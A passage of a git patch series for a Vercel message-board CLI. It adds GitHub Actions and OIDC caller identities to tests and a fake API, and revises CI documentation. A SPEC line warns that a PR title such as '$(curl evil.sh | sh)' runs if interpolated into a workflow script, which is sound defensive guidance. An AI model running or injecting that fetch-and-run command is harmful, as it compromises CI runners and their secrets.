'unsupported_principal', + message: "Can't create the grant.", + data: { error: { code: 'unsupported_principal', message: 'Grants name no GitHub or OIDC principals.', status: 400 } }, + }) + expect(await run('grants', 'explain', 'ci', '--github', 'acme/web')).toEqual({ code: 2, stdout: '', stderr: "error: Can't explain ci.\n Grants name no GitHub or OIDC principals.\n" }) + } finally { + fetching.mockRestore() + process.chdir(cwd) + await rm(home, { recursive: true, force: true }) + } + }) + + it("goes as a GitHub Actions job's own OIDC token on Vercel's board, and says what to do when no team or token works", async () => { + const home = await isolated() + const part = (value: object) => Buffer.from(JSON.stringify(value)).toString('base64url') + const job = `${part({ alg: 'none' })}.${part({ repository: 'acme/web', exp: Math.floor(Date.now() / 1000) + 3600 })}.` + const api = fakeMessageboard({ tokens: { [job]: 'github:repo:700001' } }) + vi.stubEnv('ACTIONS_ID_TOKEN_REQUEST_URL', 'https://actions.example/token') + vi.stubEnv('ACTIONS_ID_TOKEN_REQUEST_TOKEN', 'request-for-the-cli') + // GitHub mints a token Vercel's API takes, or with another job's request token, one it doesn't. + const fetching = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { + const url = new URL(input instanceof Request ? input.url : String(input)) + if (url.origin === 'https://actions.example') return Response.json({ value: process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN === 'request-for-the-cli' ? job : 'not-a-token' }) + return api.fetch(input, init) + }) + const run = (...args: string[]) => capture(() => main(args, { name: 'board', commands: local })) + // Someone who manages the board let the repository's runs post in ci/. + await board({ backend: vercel({ team: 'team_test', api: 'http://localhost', fetch: as(api, 'user:u_jb') }) }).createGrant({ principals: [{ kind: 'github', repository: 'acme/web' }], can: { 'ci/': ['post'] } }) + const cwd = process.cwd() + process.chdir(home) + try { + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + expect(await run('whoami')).toEqual({ + code: 0, + stdout: 'acme/web (github:repo:700001)\nboard https://api.vercel.com/v1/messageboard/boards/brd_test?teamId=team_test\nsource GitHub Actions OIDC\ncan ci/ post\n', + stderr: '', + }) + expect(await run('post', 'ci', 'deploy failed')).toMatchObject({ code: 0, stdout: expect.stringMatching(/^msg_[0-9a-f-]{36}_1\n$/) }) + // A token that names no team, and nothing that does: a board by its name, with no --scope or VERCEL_ORG_ID. + vi.stubEnv('VERCEL_ORG_ID', '') + expect(await run('post', 'ci', 'deploy failed', '--name', 'ops')).toEqual({ code: 2, - stderr: "error: Vercel's board explains no GitHub or OIDC caller: no grant names one.\n\n Explain the app an OIDC exchange policy issues tokens for: --app .\n", + stdout: '', + stderr: "error: A GitHub Actions token names no Vercel team, so there's no team's board to use.\n\n Use a team's board:\n vb post ci 'deploy failed' --name ops --scope \n Or set VERCEL_ORG_ID to its ID\n", + }) + expect(JSON.parse((await run('post', 'ci', 'deploy failed', '--name', 'ops', '--json')).stderr)).toMatchObject({ status: 'action_required', reason: 'missing_scope' }) + // A token Vercel's API doesn't take: no login in the job to log in again with. + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + vi.stubEnv('ACTIONS_ID_TOKEN_REQUEST_TOKEN', 'request-for-another-job') + expect(await run('post', 'ci', 'deploy failed')).toEqual({ + code: 1, + stdout: '', + stderr: "error: The board didn't accept your credentials.\n This token is invalid, expired, or revoked.\n\n Pass a token it accepts in BOARD_TOKEN\n", }) - // An app gets in, as the hint says. - expect((await run('grants', 'create', '--app', 'ship', '--can', 'ci/=post')).stdout).toMatch(/^created g4 --app ship ci\/=post\n$/) } finally { fetching.mockRestore() process.chdir(cwd) diff --git a/packages/board/test/messageboard-grants.ts b/packages/board/test/messageboard-grants.ts index ce85fa246..7a857e515 100644 --- a/packages/board/test/messageboard-grants.ts +++ b/packages/board/test/messageboard-grants.ts @@ -105,9 +105,6 @@ export function fakeGrants(options: { /** A principal as people name it, to what the API stores: an email to a user ID, a project's name to its ID, a repository to its ID. */ function resolve(input: Record, removal = false): Stored { - // A run or an issuer gets in as an app: an OIDC exchange policy issues it a Vercel App token, and a grant names the app. - if (!removal && (input.kind === 'github' || input.kind === 'oidc')) - throw new GrantRefused(400, 'unsupported_principal', 'Grants name no GitHub or OIDC principals: grant the Vercel App an OIDC exchange policy issues tokens to.') switch (input.kind) { case 'user': { const userId = input.userId ?? Object.keys(options.members).find((id) => options.members[id] === input.email) @@ -343,9 +340,25 @@ export function fakeGrants(options: { if (!clientId) throw new GrantRefused(400, 'app_not_found', `no app ${app} on the team`) return { kind: 'app', clientId } } - // No grant names a GitHub run or an OIDC issuer, so there's nothing to explain for one. - if (query('github') !== undefined || query('oidc') !== undefined) - throw new GrantRefused(400, 'unsupported_principal', 'Grants name no GitHub or OIDC principals: explain the Vercel App an OIDC exchange policy issues tokens to.') + const repository = query('github') + if (repository !== undefined) { + const repositoryId = options.repositories[repository] + if (!repositoryId) throw new GrantRefused(400, 'repository_not_found', `no GitHub repository ${repository}`) + const workflow = query('workflow') + const branch = query('branch') + const event = query('event') + return { + kind: 'github', + repositoryId, + repository, + // A run on main unless the query says. + ...(workflow ? { workflowRef: `${repository}/${workflowPath(workflow)}@refs/heads/${branch ?? 'main'}` } : {}), + ref: `refs/heads/${branch ?? 'main'}`, + ...(event ? { event } : {}), + } + } + const issuer = query('oidc') + if (issuer !== undefined) return { kind: 'oidc', issuer, claims: Object.fromEntries(url.searchParams.getAll('claim').map((pair) => [pair.slice(0, pair.indexOf('=')), pair.slice(pair.indexOf('=') + 1)])) } return null } diff --git a/packages/board/test/messageboard.ts b/packages/board/test/messageboard.ts index 05cf02f7e..03950e25a 100644 --- a/packages/board/test/messageboard.ts +++ b/packages/board/test/messageboard.ts @@ -1,6 +1,7 @@ // An in-memory `/v1/messageboard`, as Vercel's API behaves: what // `vercel()` from `@vercel/board/backend-vercel` is tested against. A bearer token names its principal: -// `user:u_jb`, `app:oac_1`, or `project:prj_pong:production`. +// `user:u_jb`, `app:oac_1`, `project:prj_pong:production`, a GitHub Actions run's `github:repo:700001`, +// or another issuer's caller, `oidc:gitlab.com:project_path:acme/api`. import { createHash, randomUUID } from 'node:crypto' import { fakeGrants, GrantRefused, type Role, type Who } from './messageboard-grants.ts' import { importedHandle, userIdOf } from '../src/contract/profiles.ts' @@ -13,6 +14,8 @@ type Principal = | { type: 'user'; userId: string } | { type: 'app'; clientId: string } | { type: 'project'; projectId: string; environment: string } + | { type: 'github'; repositoryId: string; repository: string } + | { type: 'oidc'; issuer: string; subject: string; claims: Record } | { type: 'external'; id: string; syncKey: string } type Actor = { id: string @@ -104,7 +107,7 @@ type Change = Record & { createdAt: number; messageId?: string /** On a platform user a project's sync imported, `via` is the project's name, or null, and its environment, and `platform` its key's platform. */ type ActorView = { id: string - kind: 'person' | 'agent' | 'deployment' | 'app' | 'external' + kind: 'person' | 'agent' | 'deployment' | 'app' | 'workflow' | 'external' handle: string name?: string avatar?: string @@ -152,8 +155,23 @@ const ACCOUNTS: Record = { u_ada: { username: 'ada', name: 'Ada Lovelace' }, } +/** An issuer's host and path, as a principal's ID has it: `:` and `%` encoded. */ +const issuerName = (issuer: string) => { + const url = new URL(issuer) + return `${url.host}${url.pathname.replace(/\/+$/, '')}`.replace(/[%:]/g, (char) => (char === '%' ? '%25' : '%3A')) +} const principalId = (p: Principal) => - p.type === 'external' ? p.id : p.type === 'user' ? `vercel:user:${p.userId}` : p.type === 'app' ? `vercel:app:${p.clientId}` : `vercel:project:${p.projectId}:${p.environment}` + p.type === 'external' + ? p.id + : p.type === 'user' + ? `vercel:user:${p.userId}` + : p.type === 'app' + ? `vercel:app:${p.clientId}` + : p.type === 'github' + ? `github:repo:${p.repositoryId}` + : p.type === 'oidc' + ? `oidc:${issuerName(p.issuer)}:${p.subject}` + : `vercel:project:${p.projectId}:${p.environment}` const samePrincipal = (a: Principal, b: Principal) => principalId(a) === principalId(b) /** Whether `actor` may change what `by` wrote: its principal did, and as its profile when it writes as one. */ const owns = (actor: Actor, by: Actor) => samePrincipal(by.principal, actor.principal) && (!actor.profile || by.id === actor.id) @@ -164,10 +182,13 @@ const owns = (actor: Actor, by: Actor) => samePrincipal(by.principal, actor.prin * Vercel's API reads them today; `protocol` reads them as board's protocol has it: the profile and * its avatar in one structured `x-board-profile`, and the other two ignored. */ -function actorOf(request: Request, tokens: Record = {}, protocol = false): Actor { +function actorOf(request: Request, tokens: Record = {}, protocol = false, repositories: Record = REPOSITORIES): Actor { const bearer = request.headers.get('authorization')?.replace(/^Bearer /, '') ?? '' const token = tokens[bearer] ?? bearer const [type, id, environment] = token.split(':') + // A run's repository as GitHub names it, and another issuer's subject, which has colons of its own. + const repository = type === 'github' && id === 'repo' ? Object.keys(repositories).find((name) => repositories[name] === environment) : undefined + const subject = type === 'oidc' && id ? token.slice(`oidc:${id}:`.length) : '' const principal: Principal | null = type === 'user' && id ? { type, userId: id } @@ -175,7 +196,11 @@ function actorOf(request: Request, tokens: Record = {}, protocol ? { type, clientId: id } : type === 'project' && id && environment ? { type, projectId: id, environment } - : null + : repository + ? { type: 'github', repositoryId: environment!, repository } + : type === 'oidc' && subject + ? { type: 'oidc', issuer: `https://${decodeURIComponent(id!)}`, subject, claims: { sub: subject } } + : null if (!principal) throw new Refused(401, 'invalid_token', 'This token is invalid, expired, or revoked.') let { name, avatar, session } = { name: request.headers.get('x-board-profile') ?? undefined, @@ -232,6 +257,11 @@ type Accounts = Record function viewOf(names: Pick, actor: Actor): Omit { const p = actor.principal if (p.type === 'external') return { id: actor.id, kind: 'external', handle: p.id } + // A workflow by its repository, or its token's subject, cut to fit a handle. + if (p.type === 'github' || p.type === 'oidc') { + const handle = p.type === 'github' ? p.repository : p.subject.slice(0, 128) + return actor.profile ? { id: actor.id, kind: 'agent', handle: `${handle}/${actor.profile.name.toLowerCase()}`, name: actor.profile.name } : { id: actor.id, kind: 'workflow', handle } + } const account = p.type === 'user' ? names.accounts[p.userId] : undefined const project = p.type === 'project' && !names.projectIdHandles ? names.directory.projects[p.projectId] : undefined const base = p.type === 'user' ? (account?.username ?? p.userId) : p.type === 'app' ? p.clientId : (project ?? `project:${p.projectId}:${p.environment}`) @@ -255,11 +285,16 @@ const whoOf = (actor: Actor): Who => { // A platform user a sync imported makes no requests of their own. if (actor.principal.type === 'external') throw new Refused(403, 'forbidden') const limit = actor.can ? { limit: actor.can as NonNullable } : {} - return actor.principal.type === 'user' - ? { kind: 'user', userId: actor.principal.userId, ...limit } - : actor.principal.type === 'project' - ? { kind: 'project', projectId: actor.principal.projectId, environment: actor.principal.environment, ...limit } - : { kind: 'app', clientId: actor.principal.clientId, ...limit } + const p = actor.principal + return p.type === 'user' + ? { kind: 'user', userId: p.userId, ...limit } + : p.type === 'project' + ? { kind: 'project', projectId: p.projectId, environment: p.environment, ...limit } + : p.type === 'github' + ? { kind: 'github', repositoryId: p.repositoryId, repository: p.repository, ...limit } + : p.type === 'oidc' + ? { kind: 'oidc', issuer: p.issuer, claims: p.claims, ...limit } + : { kind: 'app', clientId: p.clientId, ...limit } } /** @@ -2683,7 +2718,7 @@ export function fakeMessageboard( if (url.searchParams.get('slug') && url.searchParams.get('slug') !== slug) throw new Refused(403, 'forbidden') if (options.notDefault && !url.searchParams.get('teamId') && !url.searchParams.get('slug')) throw new Refused(403, 'forbidden') const bearer = request.headers.get('authorization')?.replace(/^Bearer /, '') ?? '' - const actor = actorOf(request, options.tokens, options.protocolProfile ?? false) + const actor = actorOf(request, options.tokens, options.protocolProfile ?? false, directory.repositories) const version = url.pathname.startsWith('/v2/') ? 2 : 1 const path = url.pathname.replace(/^\/v[12]\/messageboard/, '') const method = request.method diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts new file mode 100644 index 000000000..fc70d679b --- /dev/null +++ b/packages/board/test/vercel-github-actions.test.ts @@ -0,0 +1,199 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { board } from '../src/server/index.ts' +import { vercel } from '../src/backend-vercel/index.default.ts' +import { credentialSource, vercel as nodeVercel } from '../src/backend-vercel/index.ts' +import { handFetch, handLogin, handToken } from '../src/client/node.ts' +import { as, fakeMessageboard } from './messageboard.ts' + +const API = 'http://localhost' +const AUDIENCE = 'https://api.vercel.com/v1/messageboard' + +const part = (value: object) => Buffer.from(JSON.stringify(value)).toString('base64url') +/** A JWT as GitHub or Vercel signs one, unsigned: what a client reads of it is its claims. */ +const jwt = (claims: object) => `${part({ alg: 'none' })}.${part({ ...claims, exp: Math.floor(Date.now() / 1000) + 3600 })}.` + +/** A GitHub Actions run's token, and a deployment's, as Vercel's API takes them. */ +const RUN = jwt({ repository: 'acme/web', repository_id: '700001', ref: 'refs/heads/main' }) +const DEPLOYMENT = jwt({ owner_id: 'team_test' }) + +let job = 0 + +/** + * A GitHub Actions job that may ask for an OIDC token (`permissions: id-token: write`), each with a + * request token of its own, and Vercel's API: every audience the job asks GitHub for, and the + * credential each request to the API carries. GitHub answers with `answer`. + */ +function inActions(api: ReturnType, answer: () => Response = () => Response.json({ value: RUN })) { + const request = `actions-request-token-${++job}` + vi.stubEnv('ACTIONS_ID_TOKEN_REQUEST_URL', 'https://actions.example/token?api-version=2.0') + vi.stubEnv('ACTIONS_ID_TOKEN_REQUEST_TOKEN', request) + const asked: { audience: string | null; authorization: string | null }[] = [] + const sent: (string | null)[] = [] + vi.stubGlobal('fetch', async (input: RequestInfo | URL, init?: RequestInit) => { + const url = new URL(input instanceof Request ? input.url : String(input)) + const headers = new Headers(init?.headers ?? (input instanceof Request ? input.headers : undefined)) + if (url.origin === 'https://actions.example') { + asked.push({ audience: url.searchParams.get('audience'), authorization: headers.get('authorization') }) + return answer() + } + sent.push(headers.get('authorization')) + return api.fetch(input, init) + }) + return { asked, sent, request } +} + +describe("a GitHub Actions job on Vercel's board", () => { + let cwd: string + let away: string + beforeEach(async () => { + for (const key of Object.keys(process.env)) if (/^(BOARD|VERCEL|ACTIONS_ID_TOKEN|CLAUDE|CODEX|GROK|CURSOR|PI_|AI_AGENT)/.test(key)) vi.stubEnv(key, '') + // Nowhere a Vercel project is linked, so nothing but what the test sets names a team. + cwd = process.cwd() + away = await mkdtemp(join(tmpdir(), 'board-actions-')) + process.chdir(away) + }) + afterEach(async () => { + vi.unstubAllEnvs() + vi.unstubAllGlobals() + handToken(null) + handLogin(null) + handFetch(null) + process.chdir(cwd) + await rm(away, { recursive: true, force: true }) + }) + + it("sends the job's own OIDC token, made out to Vercel's API, as itself, and asks GitHub once while it's good", async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) + const { asked, sent, request } = inActions(api) + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + // A login the Vercel CLI left in the environment is below it, and so is the host's fetch for that login. + vi.stubEnv('VERCEL_AUTH_TOKEN', 'user:u_ada') + const host = vi.fn(as(api, 'user:u_ada')) + handFetch(host) + const team = board({ backend: nodeVercel() }) + const posted = await team.post('ci', 'deploy failed on a1b2c3d') + expect(await team.me()).toMatchObject({ principal: 'github:repo:700001', kind: 'workflow', handle: 'acme/web' }) + expect(credentialSource()).toBe('GitHub Actions OIDC') + expect((await team.thread(posted.id)).message.by).toEqual({ actor: 'github:repo:700001', principal: 'github:repo:700001', profile: null }) + expect(asked).toEqual([{ audience: AUDIENCE, authorization: `bearer ${request}` }]) + expect(new Set(sent)).toEqual(new Set([`Bearer ${RUN}`])) + expect(host).not.toHaveBeenCalled() + }) + + it('sends it only when nothing ahead of it applies: an app\'s login, the deployment\'s token, or BOARD_TOKEN', async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001', [DEPLOYMENT]: 'project:prj_pong:production', k7Qe2mXa9vLp: 'user:u_bo' } }) + const { asked } = inActions(api) + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + const principal = async () => (await board({ backend: nodeVercel() }).me()).principal + + vi.stubEnv('BOARD_TOKEN', 'k7Qe2mXa9vLp') + expect([await principal(), credentialSource()]).toEqual(['vercel:user:u_bo', 'BOARD_TOKEN']) + vi.stubEnv('VERCEL', '1') + vi.stubEnv('VERCEL_OIDC_TOKEN', DEPLOYMENT) + expect([await principal(), credentialSource()]).toEqual(['vercel:project:prj_pong:production', 'Vercel OIDC']) + // The app that runs board's CLI says who it runs as, wherever it runs. + handToken('user:u_jb') + expect([await principal(), credentialSource()]).toEqual(['vercel:user:u_jb', 'the token you passed']) + handToken(null) + handLogin(async () => 'user:u_ada') + vi.stubEnv('VERCEL', '') + vi.stubEnv('VERCEL_OIDC_TOKEN', '') + vi.stubEnv('BOARD_TOKEN', '') + expect([await principal(), credentialSource()]).toEqual(['vercel:user:u_ada', 'the Vercel CLI']) + expect(asked).toEqual([]) + handLogin(null) + expect([await principal(), credentialSource()]).toEqual(['github:repo:700001', 'GitHub Actions OIDC']) + }) + + it("isn't a job that may ask for a token without both of GitHub's variables, and goes as your login", async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) + const { asked } = inActions(api) + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + vi.stubEnv('VERCEL_AUTH_TOKEN', 'user:u_ada') + for (const missing of ['ACTIONS_ID_TOKEN_REQUEST_URL', 'ACTIONS_ID_TOKEN_REQUEST_TOKEN']) { + const kept = process.env[missing] + vi.stubEnv(missing, '') + expect([(await board({ backend: nodeVercel() }).me()).principal, credentialSource()]).toEqual(['vercel:user:u_ada', 'the Vercel CLI']) + vi.stubEnv(missing, kept!) + } + expect(asked).toEqual([]) + }) + + it('says how to name the team when nothing does, since its token names none, and asks the API nothing', async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) + const { sent } = inActions(api) + await expect(board({ backend: nodeVercel() }).post('ci', 'deploy failed')).rejects.toMatchObject({ + status: 400, + code: 'missing_team', + origin: 'handle', + message: "A GitHub Actions token names no Vercel team, so there's no team's board to use.", + hint: 'Pass --scope , or set VERCEL_ORG_ID.', + }) + expect(sent).toEqual([]) + // A team named in code, or in the environment, is the board's. + expect((await board({ team: 'team_test', backend: nodeVercel() }).me()).principal).toBe('github:repo:700001') + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + expect((await board({ backend: nodeVercel() }).me()).principal).toBe('github:repo:700001') + }) + + it("says why GitHub gave no token, as the handle's own error, not that Vercel's API didn't answer", async () => { + const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) + const { sent } = inActions(api, () => Response.json({ message: 'Unable to get ACTIONS_ID_TOKEN_REQUEST_URL env variable' }, { status: 403 })) + vi.stubEnv('VERCEL_ORG_ID', 'team_test') + await expect(board({ backend: nodeVercel() }).post('ci', 'deploy failed')).rejects.toMatchObject({ + code: 'no_token', + origin: 'handle', + message: 'GitHub Actions refused an OIDC token (403).', + hint: 'Give the job `permissions: id-token: write`.', + }) + expect(sent).toEqual([]) + }) +}) + +describe("workflows Vercel's API names", () => { + const SUBJECT = 'project_path:acme/api:ref_type:branch:ref:main' + const callers = { + run: { principal: 'github:repo:700001', kind: 'workflow', handle: 'acme/web' }, + issuer: { principal: `oidc:gitlab.com:${SUBJECT}`, kind: 'workflow', handle: SUBJECT }, + } as const + const handleOn = (api: ReturnType, principal: string) => board({ backend: vercel({ team: 'team_test', api: API, fetch: as(api, principal) }) }) + + it('shows a GitHub Actions run by its repository and another issuer\'s caller by its subject, as what they wrote and as themselves', async () => { + const api = fakeMessageboard() + for (const { principal, kind, handle } of Object.values(callers)) { + const caller = handleOn(api, principal) + const posted = await caller.post('ci', `from ${handle}`) + expect(await caller.me()).toMatchObject({ principal, actor: principal, kind, handle }) + // Read back by a person: the author is the workflow, by the ID the API gave it. + const { message: read } = await handleOn(api, 'user:u_jb').thread(posted.id) + expect(read).toMatchObject({ by: { actor: principal, principal, profile: null }, author: { kind, handle } }) + } + expect((await handleOn(api, 'user:u_jb').channel('ci').messages()).messages.map((message) => [message.by.actor, message.author?.handle])).toEqual([ + [callers.run.principal, 'acme/web'], + [callers.issuer.principal, SUBJECT], + ]) + }) + + it('shows an agent of a workflow by its profile, through the workflow', async () => { + const api = fakeMessageboard() + for (const { principal, handle } of Object.values(callers)) { + const posted = await handleOn(api, principal).as('ci').post('ci', 'from its agent') + expect((await handleOn(api, 'user:u_jb').thread(posted.id)).message).toMatchObject({ by: { actor: `${principal}+ci`, principal, profile: 'ci' }, author: { kind: 'agent', handle: 'ci', via: { name: handle, environment: null } } }) + } + }) + + it("tells a run no grant lets in that it needs one, and makes no board for it", async () => { + const api = fakeMessageboard({ boardId: null }) + await expect(handleOn(api, callers.run.principal).post('ci', 'deploy failed')).rejects.toMatchObject({ + status: 403, + code: 'board_not_granted', + origin: 'handle', + message: "this workflow has no access to the team's board (acme/web).", + hint: "Grant it: vb grants create --github acme/web --can '*=read,post,react,label'", + }) + expect(api.requests).not.toContain('POST /boards/default') + }) +}) From 6734a7f476e5b6f542877ce064a24c46713962df Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Thu, 19 Nov 2026 23:20:45 -0300 Subject: [PATCH 02/12] docs(docs): run vercel board in the CI guide for Vercel's board The CI guide's GitHub Actions and GitLab steps for the team's board now run vercel board, with the team's ID in --scope or VERCEL_ORG_ID, and note that this needs a Vercel CLI release that runs vercel board without a login. With none on the runner, it hands board no login, so the job's own token goes. A board of your own at BOARD_URL keeps vb. --- SPEC.md | 8 +-- packages/board/docs/03-guides/03-ci.md | 70 +++++++++++++++----------- 2 files changed, 45 insertions(+), 33 deletions(-) diff --git a/SPEC.md b/SPEC.md index 75a9516b0..2e0d6fd15 100644 --- a/SPEC.md +++ b/SPEC.md @@ -2405,14 +2405,16 @@ To run triage on the board itself, with nothing kept open between messages, see permissions: id-token: write steps: - - run: npx -y @vercel/board post errors-www "deploy failed: $SHA" --label source=ci + - run: npx -y vercel board post errors-www "deploy failed: $SHA" --label source=ci --scope "$TEAM_ID" env: - VERCEL_ORG_ID: team_abc123 + TEAM_ID: team_abc123 SHA: ${{ github.sha }} ``` +With no Vercel login on the runner, `vercel board` hands board none, so the job's +GitHub token goes (a Vercel CLI release that runs `vercel board` without a login). A grant lets the repository's runs in, with no secret: -`vb grants create --github acme/www --git-branch main --can 'errors-www=post'`. +`vercel board grants create --github acme/www --git-branch main --can 'errors-www=post'`. **Pass event data through `env:`, never as `${{ }}` inside `run:`.** A PR title like `` $(curl evil.sh | sh) `` executes if it's interpolated into a script. diff --git a/packages/board/docs/03-guides/03-ci.md b/packages/board/docs/03-guides/03-ci.md index 1a0fd828f..7ebbd69b6 100644 --- a/packages/board/docs/03-guides/03-ci.md +++ b/packages/board/docs/03-guides/03-ci.md @@ -24,21 +24,26 @@ jobs: - uses: actions/checkout@v4 # your deploy steps… - if: failure() - run: npx -y @vercel/board post errors-www "deploy failed on $SHA" --label source=ci --idempotency-key "deploy-$SHA" + run: npx -y vercel board post errors-www "deploy failed on $SHA" --label source=ci --idempotency-key "deploy-$SHA" --scope "$TEAM_ID" env: - VERCEL_ORG_ID: team_abc123 # the team whose board it is, by its ID + TEAM_ID: team_abc123 # the team whose board it is, by its ID SHA: ${{ github.sha }} ``` -- **The CLI finds the token itself.** In Actions it asks GitHub for a token - whose audience is Vercel's API, `https://api.vercel.com/v1/messageboard`, - and sends it as it is, so it's good for the team's boards and nothing else. - With `BOARD_URL` set, the audience is that board's URL instead. Without - `id-token: write`, GitHub gives the job no token, so the CLI falls through - to a `vercel login` the runner doesn't have, and fails. -- **You name the team.** A GitHub token names no Vercel team, so - `VERCEL_ORG_ID` or `--scope ` says whose board it is. With - neither, the CLI says to pass one. +> [!NOTE] +> This needs a Vercel CLI release that runs `vercel board` without a Vercel +> login. + +- **The CLI finds the token itself.** The runner has no Vercel login, so + `vercel board` hands board none, and board asks GitHub for a token whose + audience is Vercel's API, `https://api.vercel.com/v1/messageboard`. It sends + it as it is, so it's good for the team's boards and nothing else. Without + `id-token: write`, GitHub gives the job no token, so there's nothing to + send, and the step fails: you're not logged in to Vercel. +- **You name the team, by its ID.** A GitHub token names no Vercel team, so + `--scope` says whose board it is, or `VERCEL_ORG_ID` in `env:` with no + `--scope`. With no login there's no slug to look up, so it takes the team's + ID (`team_…`). With neither, the CLI says to pass one. - **`--idempotency-key` makes a retried step post once.** The same ID with the same write returns the message already posted. - **The post is an ordinary thread.** If `errors-www` mirrors a Slack channel, @@ -60,7 +65,7 @@ Someone with `manage` in every channel grants the repo's runs what they may do, with no deploy: ```text -$ vb grants create --github acme/www --git-branch main --can 'errors-www=post,label;deploys=read,post' +$ vercel board grants create --github acme/www --git-branch main --can 'errors-www=post,label;deploys=read,post' created g4 --github acme/www --git-branch main errors-www=post,label deploys=read,post ``` @@ -97,18 +102,23 @@ Writes print the new message's ID, so a step can post and then block on the answer: ```bash -# in a workflow step, with VERCEL_ORG_ID and DEPLOY_URL in env: -id=$(npx -y @vercel/board post deploys "Ready to promote $DEPLOY_URL?") -npx -y @vercel/board wait --re "$id" --after "$id" --text "ship it" --timeout 30m +# in a workflow step, with TEAM_ID and DEPLOY_URL in env: +id=$(npx -y vercel board post deploys "Ready to promote $DEPLOY_URL?" --scope "$TEAM_ID") +npx -y vercel board wait --re "$id" --after "$id" --text "ship it" --timeout 30m --scope "$TEAM_ID" ``` `wait` exits 0 once someone replies in the thread with "ship it" (in Slack too, if `deploys` mirrors a channel), or 1 when the timeout passes, which fails the step. -### A protected route +### A board of your own + +For a board your team serves itself, use its own CLI, `vb`: run +`npx -y @vercel/board` in the step with `BOARD_URL` in `env:`. It asks GitHub +for a token whose audience is that board's URL, and `vb grants create` makes +that board's grants, as above. -If the board at `BOARD_URL` is behind Vercel Deployment Protection, add the +If that board is behind Vercel Deployment Protection, add the project's bypass secret to the step's `env:` and the CLI sends it: ```yaml @@ -184,7 +194,7 @@ Another CI's tokens work through a grant that names its issuer by URL, with the claims to match, each exactly: ```text -$ vb grants create --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post +$ vercel board grants create --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post created g4 --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main deploys=post ``` @@ -193,23 +203,23 @@ In GitLab, a job's `id_tokens` with the board's audience is the token: ```yaml .gitlab-ci.yml notify: variables: - VERCEL_ORG_ID: team_abc123 # the team whose board it is, by its ID + TEAM_ID: team_abc123 # the team whose board it is, by its ID id_tokens: BOARD_TOKEN: aud: https://api.vercel.com/v1/messageboard script: - - npx -y @vercel/board post deploys "api $CI_COMMIT_SHORT_SHA is live" + - npx -y vercel board post deploys "api $CI_COMMIT_SHORT_SHA is live" --scope "$TEAM_ID" ``` It writes as `oidc::`, here `oidc:gitlab.com:project_path:acme/api:ref_type:branch:ref:main`, with its -`sub` as its handle. For the board at `BOARD_URL`, set `BOARD_URL` and make -`aud` that board's URL. - -On the team's board in Vercel's API, the CLI looks for a token in this order: -the deployment's OIDC token, `BOARD_TOKEN`, GitHub Actions, then your -`vercel login`. For the board at `BOARD_URL`: `BOARD_TOKEN`, a local board's -(`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. A -CLI that runs board's, such as `vercel board`, sends its own login ahead of -them all. See [Identity](../01-board/03-identity.md) for how each one maps to -a principal. +`sub` as its handle. For a board of your own, run `npx -y @vercel/board` with +`BOARD_URL` set, and make `aud` that board's URL. + +On the team's board in Vercel's API, `vercel board` sends your Vercel login +when there is one. With none, as on a runner, board looks for a token in this +order: the deployment's OIDC token, `BOARD_TOKEN`, GitHub Actions, then a +`vercel login`. For a board at `BOARD_URL`, `vb` looks in this order: +`BOARD_TOKEN`, a local board's (`vb serve`), GitHub Actions, the Vercel +runtime, then your `vercel login`. See [Identity](../01-board/03-identity.md) +for how each one maps to a principal. From ce52ae1c40e207223a1b940d2e8851c83b30b93d Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 10:10:40 -0300 Subject: [PATCH 03/12] fix(backend-vercel): hold only the requests a GitHub Actions token goes with to its team and Vercel's API The missing-team check ran in team(), so a board({ fetch }) with credentials of its own, which can use their default team, failed with missing_team in any GitHub Actions job. It now runs where the job's token is sent, and that same place sends the token only to Vercel's API, which it's made out to: a vercel({ api }) pointing anywhere else fails with wrong_audience before GitHub is asked for one. --- packages/board/src/backend-vercel/index.ts | 41 ++++++++++++------- .../board/test/vercel-github-actions.test.ts | 22 ++++++++++ 2 files changed, 49 insertions(+), 14 deletions(-) diff --git a/packages/board/src/backend-vercel/index.ts b/packages/board/src/backend-vercel/index.ts index 62b6c6918..b46ae613c 100644 --- a/packages/board/src/backend-vercel/index.ts +++ b/packages/board/src/backend-vercel/index.ts @@ -29,6 +29,9 @@ const asLogin = () => !asDeployment() && !boardToken() && !asGithubActions() /** The audience a GitHub Actions token for Vercel's board is made out to, whichever board it names. */ const GITHUB_AUDIENCE = 'https://api.vercel.com/v1/messageboard' +/** Where that token may go: its audience's origin, or a test's own API on this machine, never anywhere else. */ +const githubTokenGoesTo = (url: URL) => url.origin === new URL(GITHUB_AUDIENCE).origin || /^http:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(url.origin) + /** The job's GitHub Actions token, kept until a minute before it expires: GitHub mints one each time it's asked. */ let github: { job: string; token: Promise; until: number } | null = null @@ -65,7 +68,6 @@ async function token(): Promise { if (asDeployment()) return getVercelOidcToken() const set = boardToken() if (set) return set - if (asGithubActions()) return githubToken() // With no login to send, that's what it says, as `http()`'s does, not that the API didn't answer. return vercelLogin().catch(() => { throw new HttpError(401, 'not_logged_in', "You're not logged in to Vercel.", { hint: 'Run vercel login.', origin: 'handle' }) @@ -96,20 +98,9 @@ export function handTeam(resolve: (() => Promise) | null) { * The team: the one a CLI that runs board's hands it, 